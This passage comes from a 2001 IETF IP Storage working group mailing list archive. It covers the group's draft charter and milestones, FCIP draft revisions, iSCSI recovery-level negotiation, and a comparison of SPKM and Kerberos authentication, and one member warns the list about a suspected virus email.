to be encapsulated. The WG > > > will consider > > > > what > > > > levels of data integrity assurance are required and how > > > they should be > > > > achieved. > > > > > > > > The WG will produce requirements and specification > > > documents for each > > > > protocol > > > > encapsulation, and may produce applicability statements. > > > The requirements > > > > and > > > > specification documents will consider both disk and tape > > > devices, taking > > > > note > > > > of the variation in scale from single drives to large disk > > > arrays and tape > > > > libraries, although the requirements and specifications > > > need not encompass > > > > all such devices. > > > > > > > > The WG will not work on: > > > > > > > > - Extensions to existing protocols such as SCSI and Fibre > > > Channel beyond > > > > those strictly necessary for the use of IP-based transports. > > > > - Modifications to internet transport protocols or > > > approaches requiring > > > > transport protocol options that are not widely > > > supported, although > > > > the > > > > WG may recommend use of such options for block storage traffic. > > > > - Support for environments in which significant data loss > > > or data corruption > > > > is acceptable. > > > > - File system protocols. > > > > > > > > Operational Structure: > > > > > > > > Due to the scope of the task and the need for parallel > > > progress on multiple > > > > work items, the WG effort is organized as follows: > > > > > > > > A technical coordinator will be identified and selected for > > > each protocol > > > > encapsulation adopted as a work item by the group. This > > > person will be > > > > responsible for > > > > coordinating the technical efforts of the group with respect to that > > > > encapsulation, > > > > working with and motivating the document editors, and > > > evangelizing the > > > > group's work > > > > within both the community and relevant external > > > organizations such as T10 > > > > and T11. > > > > > > > > In addition to the normal responsibilities of IETF working > > > group chairs, the > > > > IPS > > > > chairs are responsible for selection of coordinators, > > > identifying areas of > > > > technical > > > > commonality and building cross-technology efforts within the group. > > > > > > > > Coordinators for initially important encapsulations: > > > > > > > > SCSI over IP (aka iSCSI): John Hufferd (hufferd@us.ibm.com) > > > > Fibre Channel (FC-2) over IP: Murali Rajagopal > > > (muralir@lightsand.com) > > > > iFCP: Franco Travostino (travos@nortelnetworks.com) > > > > > > > > The WG will not undertake any new protocol encapsulation work before > > > > successfully > > > > completing WG Last Call on one or more of the > > > encapsulations that it is > > > > currently > > > > working on. > > > > > > > > Goals and Milestones: > > > > > > > > Done Submit final version of iSCSI requirements draft to > > > the IESG for > > > > consideration > > > > as an Informational RFC. > > > > Oct 01 Post initial version of draft specifying DHCP usage > > > for booting via > > > > iSCSI, > > > > and revised version of iSCSI boot draft on > > > Internet-Draft > > > > servers. > > > > Dec 01 Meet at Salt Lake City IETF meetings with goal of > > > closing all issues > > > > for main > > > > protocol specifications. > > > > Feb 02 WG Last Calls on main protocol specifications (iSCSI, iSCSI > > > > naming/discovery > > > > FCIP, iFCP, FC common encapsulation). > > > > Mar 02 Meet at Minneapolis IETF meetings with goal of > > > closing all issues > > > > for all > > > > other drafts. > > > > Apr 02 Submit main protocol specifications to IESG. > > > > Apr 02 WG Last Calls on SLP usage, iSCSI boot and iSNS drafts. > > > > Jun 02 Submit SLP usage, iSCSI boot and iSNS drafts to IESG. > > > > Jun 02 WG Last Calls on MIBs > > > > Jul 02 Meet at Yokohama IETF meetings to deal with any > > > remaining issues and > > > > consider > > > > what (if any) additional work the WG should undertake. > > > > Aug 02 Submit MIB drafts to IESG. > > > > > > > > > -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Tue Sep 4 13:17:28 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21883 for ; Tue, 4 Sep 2001 13:17:23 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84G5Xn19889 for ips-outgoing; Tue, 4 Sep 2001 12:05:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lightsand.com ([64.214.104.163]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84G5UP19883 for ; Tue, 4 Sep 2001 12:05:31 -0400 (EDT) Received: from muralipc ([192.168.2.38]) by lightsand.com (8.9.3+Sun/8.9.1) with SMTP id JAA11422; Tue, 4 Sep 2001 09:05:19 -0700 (PDT) From: "Murali Rajagopal" To: , "IPS Reflector" Subject: RE: New FCIP revisions available Date: Tue, 4 Sep 2001 09:06:22 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Importance: Normal In-Reply-To: <3B93CED0.ED018FA2@compuserve.com> Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Thanks Ralph. -Murali -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Ralph Weber Sent: Monday, September 03, 2001 11:41 AM To: IPS Reflector Subject: New FCIP revisions available ftp://ftp.t11.org/t11/pub/fc/bb-2/01-462v0.pdf is an FCIP 05 PDF with annotated notes from the Interim meeting. It shows the areas where new FCIP drafts will have changes made. ftp://ftp.t11.org/t11/pub/fc/bb-2/01-457v1.txt or ftp://ftp.t11.org/t11/pub/fc/bb-2/01-457v1.pdf is FCIP revision 05a. 05a contains only changes that can be isolated to small sections of text. ftp://ftp.t11.org/t11/pub/fc/bb-2/01-462v1.pdf is a FCIP 05 PDF with annotated notes describing the changes in FCIP 05a. ftp://ftp.t11.org/t11/pub/fc/bb-2/01-457v2.txt or ftp://ftp.t11.org/t11/pub/fc/bb-2/01-457v2.pdf is FCIP revision 05b. 05b contains the changes that move computation of the transit time from the FCIP Entity to the FC Entity. ftp://ftp.t11.org/t11/pub/fc/bb-2/01-462v2.pdf is a FCIP 05a PDF with annotated notes describing the changes in FCIP 05b. ftp://ftp.t11.org/t11/pub/fc/bb-2/01-457v3.txt or ftp://ftp.t11.org/t11/pub/fc/bb-2/01-457v3.pdf is FCIP revision 05c. 05c changes the model for TCP connection setup operations: from: a model where everything is a routine call and the FC Entity is the master of all TCP connection setup, to: a model where the FCIP Entity gets all the TCP connection parameters from a "shared" database and acts independent of the FC Entity when forming TCP connections. Even in the 05c model, the FCIP Entity still informs the FC Entity when a new TCP connection is SUCCESSFULLY formed. N.B. both 05b and 05c have models for TCP connection setup. Any implementation that produces the modeled effects is valid. FCIP 05c also contains a table of FCIP Entity interactions with the FC Entity in Annex E. ftp://ftp.t11.org/t11/pub/fc/bb-2/01-462v3.pdf is a FCIP 05b PDF with annotated notes describing the changes in FCIP 05c. Enjoy. Ralph... From owner-ips@ece.cmu.edu Tue Sep 4 13:38:34 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA22423 for ; Tue, 4 Sep 2001 13:38:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84GSVQ21500 for ips-outgoing; Tue, 4 Sep 2001 12:28:31 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from magnemite.MaXXan.com (makesans.com [63.203.52.243]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84GSQP21492 for ; Tue, 4 Sep 2001 12:28:29 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message Subject: Possible virus? RE: As per your request! MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Tue, 4 Sep 2001 09:22:01 -0700 Message-ID: <69120EB8D555E342819660A2980929910B1A69@magnemite.MaXXan.com> Thread-Topic: As per your request! Thread-Index: AcE1SXHusq2VFgwfSyqi/po8TMe3HgAFBvCQ From: "Gary Kotzur" To: "Rafi Shalom" , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f84GSTP21495 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit I have received several emails with this virus from the reflector list, please be careful! Gary Kotzur Principal Member of Technical Staff MaXXan Systems, Inc. GaryKotzur@MaXXan.com Ph: 832-436-1012 Cl: 281-814-9396 Fx: 832-436-1099 -----Original Message----- From: Rafi Shalom [mailto:rafis@siliquent.com] Sent: Tuesday, September 04, 2001 8:06 AM To: 'ips@ece.cmu.edu' Subject: As per your request! Please find attached file for your review. I look forward to hear from you again very soon. Thank you. From owner-ips@ece.cmu.edu Tue Sep 4 13:43:51 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA22573 for ; Tue, 4 Sep 2001 13:43:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84FTxQ17386 for ips-outgoing; Tue, 4 Sep 2001 11:29:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84FTtP17366 for ; Tue, 4 Sep 2001 11:29:55 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Tue, 4 Sep 2001 11:31:57 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD6C5@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu, kzm@cisco.com Subject: RE: IPS Draft charter revision Date: Tue, 4 Sep 2001 11:23:21 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Ok, revised milestones will have iSCSI MIB going before the other MIBs - keep in mind that we can always do things earlier than the milestone dates. --David > -----Original Message----- > From: Mark Bakke [mailto:mbakke@cisco.com] > Sent: Tuesday, September 04, 2001 10:29 AM > To: Keith McCloghrie > Cc: Black_David@emc.com; ips@ece.cmu.edu > Subject: Re: IPS Draft charter revision > > > > David- > > I'd like to see the iSCSI MIB last called separately, since > it will be ready as soon as the iSCSI protocol is ready, and > it has no dependencies on the other MIBs. > > Thanks, > > Mark > > Keith McCloghrie wrote: > > > > As you say, the iSCSI MIB would seem to be the only one > which is likely > > to be done early next year. So, maybe it's the only one worth > > separating out. > > > > Keith. > > > > > I can do that, with the caveat that each MIB needs to be > > > Last Called after its associated protocol. I'm guessing > > > that the iSCSI MIB will be done well before the others. > > > Are there any other MIBs that seem likely to be ready > > > around the end of the year? In practice, there's no > > > problem with completing things before the milestone date on > > > the charter. > > > > > > Thanks, > > > --David > > > > > > > -----Original Message----- > > > > From: Keith McCloghrie [mailto:kzm@cisco.com] > > > > Sent: Friday, August 31, 2001 2:13 PM > > > > To: Black_David@emc.com > > > > Cc: ips@ece.cmu.edu > > > > Subject: Re: IPS Draft charter revision > > > > > > > > > > > > David, > > > > > > > > The schedule below lumps all the MIBs together in the > Milestones. > > > > However, the various MIBs are at different stages of > development. > > > > I would expect that the first MIB to be completed does > not need to > > > > wait for the last. Do you want to reflect this in the > schedule ? > > > > > > > > Keith. > > > > > > > > > Here's a draft of the revised charter for the IP Storage > > > > > WG. Aside from the schedule update, the following substantial > > > > > changes have been made: > > > > > > > > > > - Security requirements reflect the current "MUST implement" > > > > > status of confidentiality. > > > > > - Text on bridges and gateways to existing protocols has been > > > > > reworded to avoid any implication that proxy support > > > > > is required. > > > > > - We have to finish some of what we're doing before > undertaking > > > > > any new protocol encapsulation work. > > > > > > > > > > There have also been some minor editorial cleanups. > > > > > > > > > > Comments to the list, please. This'll go to the Area > Directors > > > > > for approval and posting on the IETF web site in about a week. > > > > > > > > > > Thanks, > > > > > --David > > > > > > > > > > IP Storage (ips) > > > > > > > > > > Chair(s): > > > > > Elizabeth Rodriguez > > > > > David Black > > > > > > > > > > Transport Area Director(s): > > > > > Scott Bradner > > > > > Allison Mankin > > > > > > > > > > Transport Area Advisor: > > > > > Allison Mankin > > > > > > > > > > Technical Advisor(s): > > > > > Keith McCloghrie > > > > > > > > > > Mailing Lists: > > > > > General Discussion:ips@ece.cmu.edu > > > > > To Subscribe: ips-request@ece.cmu.edu > > > > > In Body: subscribe ips > > > > > Archive: > http://www.pdl.cmu.edu/mailinglists/ips/mail/maillist.html > > > > > > > > > > Description of Working Group: > > > > > There is significant interest in using IP-based networks to > > > > transport block > > > > > storage > > > > > traffic. This group will pursue the pragmatic approach of > > > > encapsulating > > > > > existing > > > > > protocols, such as SCSI and Fibre Channel, in an IP-based > > > > transport or > > > > > transports. > > > > > The group will focus on the transport or transports and > > > > related issues > > > > > (e.g., > > > > > security, naming, discovery, and configuration), as opposed > > > > to modifying > > > > > existing protocols. Standards for the protocols to be > > > > encapsulated are > > > > > controlled > > > > > by other standards organizations (e.g., T10 [SCSI] and T11 > > > > [Fibre Channel]). > > > > > The > > > > > WG cannot assume that any changes it desires will be > made in these > > > > > standards, and > > > > > hence will pursue approaches that do not depend on such > > > > changes unless they > > > > > are > > > > > unavoidable. In that case the WG will create a document to > > > > be forwarded to > > > > > the > > > > > standards group responsible for the technology explaining > > > > the issue and > > > > > requesting > > > > > the desired changes be considered. The WG will endeavor to > > > > ensure high > > > > > quality > > > > > communications with these standards organizations. The WG > > > > will consider > > > > > whether > > > > > a layered architecture providing common transport, > > > > security, and/or other > > > > > functionality for its encapsulations is the best > technical approach. > > > > > > > > > > The protocols to be encapsulated expect a reliable > > > > transport, in that > > > > > failure to > > > > > deliver data is considered to be a rare event for which > > > > time-consuming > > > > > recovery > > > > > at higher levels is acceptable. This has implications for > > > > both the choice of > > > > > transport protocols and design of the > encapsulation(s). The WG's > > > > > encapsulations > > > > > may require quality of service assurances (e.g., bounded > > > > latency) to operate > > > > > successfully; the WG will consider what assurances are > > > > appropriate and how > > > > > to > > > > > provide them in shared traffic environments (e.g., the > > > > Internet) based on > > > > > existing IETF QoS mechanisms such as Differentiated Services. > > > > > > > > > > Use of IP-based transports raises issues that do not occur > > > > in the existing > > > > > transports for the protocols to be encapsulated. The > WG's protocol > > > > > encapsulations will incorporate the following: > > > > > > > > > > - Congestion control suitable for shared traffic network > > > > environments such > > > > > as the > > > > > Internet. > > > > > - Security including authentication, keyed cryptographic > > > > data integrity > > > > > and confidentiality, sufficient to defend against > > > > threats up to and > > > > > including > > > > > those that can be expected on a public network. > > > > Implementation of > > > > > basic > > > > > security functionality will be required, although > usage may be > > > > > optional. > > > > > > > > > > The WG will also address the following issues related to > > > > its protocol > > > > > encapsulations: > > > > > > > > > > - Naming and discovery mechanisms for the encapsulated > > > > protocols on IP-based > > > > > networks, including both discovery of resources (e.g., > > > > storage) for > > > > > access by the discovering entity, and discovery for > management. > > > > > - Management, including appropriate MIB definition(s). > > > > > > > > > > These may be addressed is documents separate from the > main protocol > > > > > specifications. > > > > > > > > > > The WG specifications will allow the implementation of > > > > bridges and gateways > > > > > that connect to existing implementations of the > > > > encapsulated protocols. > > > > > The WG will preserve the approaches to discovery, > > > > multi-pathing, booting, > > > > > and > > > > > similar issues taken by the protocols it encapsulates > to the extent > > > > > feasible. > > > > > > > > > > It may be necessary for traffic utilizing the WG's > > > > encapsulations to pass > > > > > through > > > > > Network Address Translators (NATs) and/or firewalls in some > > > > circumstances; > > > > > the > > > > > WG will endeavor to design NAT- and firewall-friendly > > > > protocols that do not > > > > > dynamically select target ports or require Application > > > > Level Gateways. > > > > > > > > > > Effective implementations of some IP transports for > the encapsulated > > > > > protocols > > > > > are likely to require hardware acceleration; the WG will > > > > consider issues > > > > > concerning > > > > > the effective implementation of its protocols in hardware. > > > > > > > > > > The standard internet checksum is weaker than the checksums > > > > use by other > > > > > implementations of the protocols to be encapsulated. The WG > > > > will consider > > > > > what > > > > > levels of data integrity assurance are required and how > > > > they should be > > > > > achieved. > > > > > > > > > > The WG will produce requirements and specification > > > > documents for each > > > > > protocol > > > > > encapsulation, and may produce applicability statements. > > > > The requirements > > > > > and > > > > > specification documents will consider both disk and tape > > > > devices, taking > > > > > note > > > > > of the variation in scale from single drives to large disk > > > > arrays and tape > > > > > libraries, although the requirements and specifications > > > > need not encompass > > > > > all such devices. > > > > > > > > > > The WG will not work on: > > > > > > > > > > - Extensions to existing protocols such as SCSI and Fibre > > > > Channel beyond > > > > > those strictly necessary for the use of IP-based transports. > > > > > - Modifications to internet transport protocols or > > > > approaches requiring > > > > > transport protocol options that are not widely > > > > supported, although > > > > > the > > > > > WG may recommend use of such options for block > storage traffic. > > > > > - Support for environments in which significant data loss > > > > or data corruption > > > > > is acceptable. > > > > > - File system protocols. > > > > > > > > > > Operational Structure: > > > > > > > > > > Due to the scope of the task and the need for parallel > > > > progress on multiple > > > > > work items, the WG effort is organized as follows: > > > > > > > > > > A technical coordinator will be identified and selected for > > > > each protocol > > > > > encapsulation adopted as a work item by the group. This > > > > person will be > > > > > responsible for > > > > > coordinating the technical efforts of the group with > respect to that > > > > > encapsulation, > > > > > working with and motivating the document editors, and > > > > evangelizing the > > > > > group's work > > > > > within both the community and relevant external > > > > organizations such as T10 > > > > > and T11. > > > > > > > > > > In addition to the normal responsibilities of IETF working > > > > group chairs, the > > > > > IPS > > > > > chairs are responsible for selection of coordinators, > > > > identifying areas of > > > > > technical > > > > > commonality and building cross-technology efforts > within the group. > > > > > > > > > > Coordinators for initially important encapsulations: > > > > > > > > > > SCSI over IP (aka iSCSI): John Hufferd (hufferd@us.ibm.com) > > > > > Fibre Channel (FC-2) over IP: Murali Rajagopal > > > > (muralir@lightsand.com) > > > > > iFCP: Franco Travostino (travos@nortelnetworks.com) > > > > > > > > > > The WG will not undertake any new protocol > encapsulation work before > > > > > successfully > > > > > completing WG Last Call on one or more of the > > > > encapsulations that it is > > > > > currently > > > > > working on. > > > > > > > > > > Goals and Milestones: > > > > > > > > > > Done Submit final version of iSCSI requirements draft to > > > > the IESG for > > > > > consideration > > > > > as an Informational RFC. > > > > > Oct 01 Post initial version of draft specifying DHCP usage > > > > for booting via > > > > > iSCSI, > > > > > and revised version of iSCSI boot draft on > > > > Internet-Draft > > > > > servers. > > > > > Dec 01 Meet at Salt Lake City IETF meetings with goal of > > > > closing all issues > > > > > for main > > > > > protocol specifications. > > > > > Feb 02 WG Last Calls on main protocol specifications > (iSCSI, iSCSI > > > > > naming/discovery > > > > > FCIP, iFCP, FC common encapsulation). > > > > > Mar 02 Meet at Minneapolis IETF meetings with goal of > > > > closing all issues > > > > > for all > > > > > other drafts. > > > > > Apr 02 Submit main protocol specifications to IESG. > > > > > Apr 02 WG Last Calls on SLP usage, iSCSI boot and > iSNS drafts. > > > > > Jun 02 Submit SLP usage, iSCSI boot and iSNS drafts to IESG. > > > > > Jun 02 WG Last Calls on MIBs > > > > > Jul 02 Meet at Yokohama IETF meetings to deal with any > > > > remaining issues and > > > > > consider > > > > > what (if any) additional work the WG should > undertake. > > > > > Aug 02 Submit MIB drafts to IESG. > > > > > > > > > > > > > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 > From owner-ips@ece.cmu.edu Tue Sep 4 15:14:54 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA24938 for ; Tue, 4 Sep 2001 15:14:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84I2Ht27766 for ips-outgoing; Tue, 4 Sep 2001 14:02:17 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84I2FP27761 for ; Tue, 4 Sep 2001 14:02:15 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by atlrel6.hp.com (Postfix) with ESMTP id 06E341F89A; Tue, 4 Sep 2001 14:02:06 -0400 (EDT) Received: (from cbm@localhost) by core.rose.hp.com (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id LAA06142; Tue, 4 Sep 2001 11:03:24 -0700 (PDT) Message-Id: <200109041803.LAA06142@core.rose.hp.com> Subject: Re: iSCSI - Recovery Levels To: Julian_Satran@il.ibm.com Date: Tue, 04 Sep 2001 11:03:24 PDT Cc: ips@ece.cmu.edu In-Reply-To: ; from "Julian Satran" at Sep 4, 2001 6:54 am Reply-To: cbm@rose.hp.com From: "Mallikarjun C." X-Mailer: Elm [revision: 212.5] Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, As per our conversation over the phone last Friday (8/28), I thought I am doing this error recovery editing (in fact I am mostly done to send the doc in a few hours to you!). Also, I thought we both agreed that I would capture what was presented in London in rev08 and state clearly that it's still under debate. That is exactly what I summarized and sent an email to ips on Friday afternoon! *Please* allow us to stick to this plan, so I can manage to complete my editing today. I do not want to get into a debate on the striation details *until* we publish rev08 - which I thought we plan to publish by tomorrow. Regards. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com >John, > >It is only a placeholder - I will put in a TBD there too! > >Julo > >John Hufferd@IBMUS >03-09-2001 22:14 > >To: Julian Satran/Haifa/IBM@IBMIL >cc: ips@ece.cmu.edu >From: John Hufferd/San Jose/IBM@IBMUS >Subject: Re: iSCSI - Recovery Levels (Document link: Julian Satran - > Mail) > >Julian, >The way you have written it, only two levels can be specified, since level >one contains all the currently know levels. Perhaps, you need to leave >some space between Zero and Everything currently known, by assigning >Everything to be number 2, or, 3 etc. If we define it to be the number 2 >for instance then it is possible that we only define 0 and 2 but it would >leave room for a 1 if one was defined. > >. >. >. >John L. Hufferd >Senior Technical Staff Member (STSM) >IBM/SSG San Jose Ca >Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 >Home Office (408) 997-6136 >Internet address: hufferd@us.ibm.com > > >Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/03/2001 06:59:38 AM > >Sent by: owner-ips@ece.cmu.edu > > >To: ips@ece.cmu.edu >cc: >Subject: iSCSI - Recovery Levels > > > >There seems to be consensus around the fact the recovery leves are good and >no >clear consensus about hpow many should there be (2 or 3). > >As there is no chance to settle this until 08 gets out I suggest >intrdocucing >a generic key=value pair (RecoveryLevel) and remove the existing keys >(CommmandFailoverSupport and CommandReplaySupport). > >RecoveryLevel will be defined as follows: > >01 RecoveryLevel > > Use: LO > Who can send: Initiator and Target > > RecoveryLevel=<0 to x> > > Default is 0. > > Initiator and target negotiate the recovery level supported. > The minimum of the two values is selected. > > Recovery levels represent a combination of recovery capabilities. > Each recovery level includes all the capabilities of the lower recovery > levels and adds to them some new ones. > > In the recovery mechanisms descriptions some specific recovery > capabilities are used. > > Those are mapped to levels as follows: > > 0 - SessionRecovery > 1 - CommandFailoverSupport and CommandReplaySupport > [TBD] > > > > > Comments? > > Julo > > > > > > > From owner-ips@ece.cmu.edu Tue Sep 4 15:16:49 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAB24968 for ; Tue, 4 Sep 2001 15:16:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84HfVE26354 for ips-outgoing; Tue, 4 Sep 2001 13:41:31 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ariel.nishansystems.com (smtp.nishansystems.com [216.217.36.162]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84HfRP26342 for ; Tue, 4 Sep 2001 13:41:27 -0400 (EDT) Received: by ariel.nishansystems.com with Internet Mail Service (5.5.2653.19) id ; Tue, 4 Sep 2001 10:40:52 -0700 Message-ID: From: Joshua Tseng To: "'Black_David@emc.com'" , ips@ece.cmu.edu Subject: RE: iSCSI: Public Key Method Date: Tue, 4 Sep 2001 10:40:44 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk David, > > > I have no problem with this discussion in principle. > I'm interested in the practical aspects of this - as > public key infrastructures are being deployed (and this > is happening, albeit slowly), what is being used for > authentication - SPKM-1, -2, both, something else? > Keberos and CHAP are both being used for > authentication in the infrastructures of interest. Regarding the question of what is being used for public key, it seems SSL/TLS is quite common, most notably for http. I have no information on how many applications (if any) are using SPKM-1 and/or SPKM-2. Perhaps someone else could comment? > > I have no problem with wanting to have a way to integrate > with public key infrastructure in principle, but am > concerned that we pick the right protocol in practice. > A quick reminder that this is about what to specify - > both implementation and use would be OPTIONAL. Good, we agree on needing a way to integrate with PKI. Unfortunately, I'm not going to be much of a help on how to do it. It seems to me TLS would be overkill for us at this point, especially since we already IPSec running underneath. My reasoning for SPKM-1 and/or SPKM-2 is that I don't know of any other public key interface, unless we decide to create our own for iSCSI. I'd also like to add that whatever mechanism we decide upon, mutual authentication using public key certificates should be an option. For this reason, we should rule out LIPKEY/SPKM-3. Josh > > Thanks, > --David > > > > -----Original Message----- > > From: Joshua Tseng [mailto:jtseng@NishanSystems.com] > > Sent: Friday, August 31, 2001 10:21 PM > > To: ips@ece.cmu.edu > > Subject: iSCSI: Public Key Method > > > > > > This message is in response to the action item David Black gave me > > at the Interim meeting to investigate the need for a Public > Key Method > > for iSCSI. > > > > My recommendation is that if we include the Kerberos method > in iSCSI, > > then we should also include at least one Public Key Method as well. > > I don't see any problem with using SPKM-1 and SPKM-2. The only > > difference between them is that SPKM-2 includes a timestamp. > > > > Although Kerberos has been in use for a longer period of time, > > public key offers significant scaling advantages. It is also widely > > recognized as the next-generation key distribution method, and > > I believe iSCSI should not leave it out. > > > > Some of the key advantages of public key: > > > > 1) Key distribution does not require a secure communication > > channel between the communicating principals and the key > distribution > > authority. Public keys can be distributed in the clear. On the > > other hand, Kerberos requires an additional set of security > > associations > > between the Kerberos server and every principal, or manual > > distribution > > and configuration of keys, which can be an administrative nightmare. > > > > 2) In Public Key, there is no single point of failure as there is > > with a Kerberos Server. If the Kerberos Server is wiped out in > > a DOS attack, no one can access its keys, and no one can talk > > securely. > > Also, if the contents of the Kerberos Server is compromised, anyone > > can be impersonated. On the other hand, if the CA is wiped out, > > holders of public keys can still continue to function. Furthermore, > > CA's can be distributed, making them resilient to attacks. > > > > 3) In Public Key, there is no single physical location or device > > in the network that can be considered a performance bottleneck. > > This is another reason why Public Key is far more scalable than > > Kerberos. > > > > 4) Of all the iSCSI authentication methods in the current draft > > (KRB5, SRP, CHAP), SPKM-1 and SPKM-2 require the least amount > > of manual administration. > > > > Given the above, it makes sense to me that if we include Kerberos, > > then we ought to also include Public Key. We may not need both > > SPKM-1 and SPKM-2, but I think we should include at least one of > > them. I believe the current text in the iSCSI document is fine > > (good job Ofer!). > > > > Josh > > > From owner-ips@ece.cmu.edu Tue Sep 4 16:21:31 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26730 for ; Tue, 4 Sep 2001 16:21:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84IPkM29503 for ips-outgoing; Tue, 4 Sep 2001 14:25:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from imrelay.zambeel.com ([63.89.188.9]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84IPhP29496 for ; Tue, 4 Sep 2001 14:25:44 -0400 (EDT) Received: from xchange.zambeel.com ([63.89.188.10]) by imrelay.zambeel.com (8.11.0/8.11.0) with ESMTP id f84IOAK05011; Tue, 4 Sep 2001 11:24:10 -0700 Received: by exchange.zambeel.com with Internet Mail Service (5.5.2653.19) id ; Tue, 4 Sep 2001 11:25:19 -0700 Received: from frostback (10.0.1.121 [10.0.1.121]) by xchange.zambeel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RFKACKL9; Tue, 4 Sep 2001 11:25:18 -0700 From: Michael Eisler Reply-To: Michael Eisler To: John Hufferd Cc: Joshua Tseng , ips@ece.cmu.edu Date: Tue, 4 Sep 2001 11:25:38 -0700 (PDT) Subject: Re: iSCSI: Public Key Method In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk > > Joshua, > what is the value of the time stamp in SPKM-2? Does it make it more > secure, or flexible or ???? As the author of a derivative of the original SPKM specification, I might have some useful input here. Timestamps, IMHO, are less flexible since they require a time synchronization protocol. SPKM-2 needs the timestamps to detect replays during context establishment, and uses sequence numebrs after the context is established. SPKM-1 doesn't need timestamps to detect replays, but does incur one extra message over SPKM-2 during context establishment. Modulo attacks on the time synchronization service, neither approach is more secure than the other, but I'm more comfortable when the dependency on a secure time service is removed. There are other differences between SPKM-1 and SPKM-2. SPKM-1 supports unilateral authentication such that the initiator (the client) can be anonymous while the the target (the server) is authenticated to the initiator. SPKM-2 supports unilateral authentication but in the other direction. Also, SPKM-1 unilateral authentication allows the negotiation of of key establishment algorithms, whereas SPKM-2 doesn't. > If you had to chose one (either SPKM-1 or SPKM-2), which one would you > chose and why? > What would be the down side to that choice? When the NFSv4 WG looked at public key, one requirement was to not require heavy weight public key infrastructure on the client side, i.e. not require that each end-user have his own private/public key pair and certificate, and instead allow for a username/password pair to be encrypted from the client to server, via a key derived from the server's public key. This models the typical usage model of SSL; user certificates are rare. Hence SPKM-1, which at the SPKM level allows the client to be anonymous while authenticating the server, is more useful than SPKM-2. With SPKM-1, you can use a session key from the GSS context establishment to encrypt the username/password. As a result I updated SPKM-1 into SPKM-3 [RFC2847] for better support of anonymous initiators (several of the various crypto alogorithms 